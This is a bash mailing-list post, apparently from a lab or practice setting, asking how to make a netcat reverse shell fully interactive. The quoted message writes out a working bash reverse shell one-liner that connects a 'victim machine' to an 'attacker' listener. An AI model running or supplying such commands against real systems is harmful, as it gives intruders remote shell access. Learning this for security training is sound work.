help-bash
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: make a reverse shell just like a normal shell


From: Peng Yu
Subject: Re: make a reverse shell just like a normal shell
Date: Thu, 31 Dec 2020 21:51:38 -0600

Also, if I cat some file, nothing will be printed. But I want the file
be printed.

And ctrl-C will terminate the nc program. I don't want ctrl-C to
terminate the nc program.

Is there a way to fix these two issues as well? Thanks.

root@ip-10-10-254-78:~# cat somefile.txt
cat somefile.txt

^CExiting.

On Thu, Dec 31, 2020 at 9:47 PM Peng Yu <pengyu.ut@gmail.com> wrote:
>
> Hi,
>
> https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp
>
> I following the above example to connect back to the attacker machine
> (IP 10.9.238.114) from the victim machine (IP 10.10.254.78).
>
> nc -lvp 4444 # attacker machine
> bash -i >& /dev/tcp/10.9.238.114/4444 0>&1 # victim machine
>
> On the attacher machine, the screen looks like the following. Notice
> that when I type a command (pwd in this case), it echos back (X). And
> the command completion does not work (Y).
>
> $ nc -lvp 4444
> Connection from 10.10.254.78:40984
> root@ip-10-10-254-78:~# pwd
> pwd
> /root
>
> If I use 127.0.0.1 as both the attacher machine and the victim
> machine, then there are no such problems (X and Y problems mentioned
> above).
>
> nc -lvp 4444 # terminal 1
> bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 # terminal 2
>
> I don't quite understand why the behaviors of the two senarios are
> different. Does anybody see why is so? How to make the first senario
> behave in the same way as the second scenario? Thanks.
>
> --
> Regards,
> Peng



-- 
Regards,
Peng



reply via email to

[Prev in Thread] Current Thread [Next in Thread]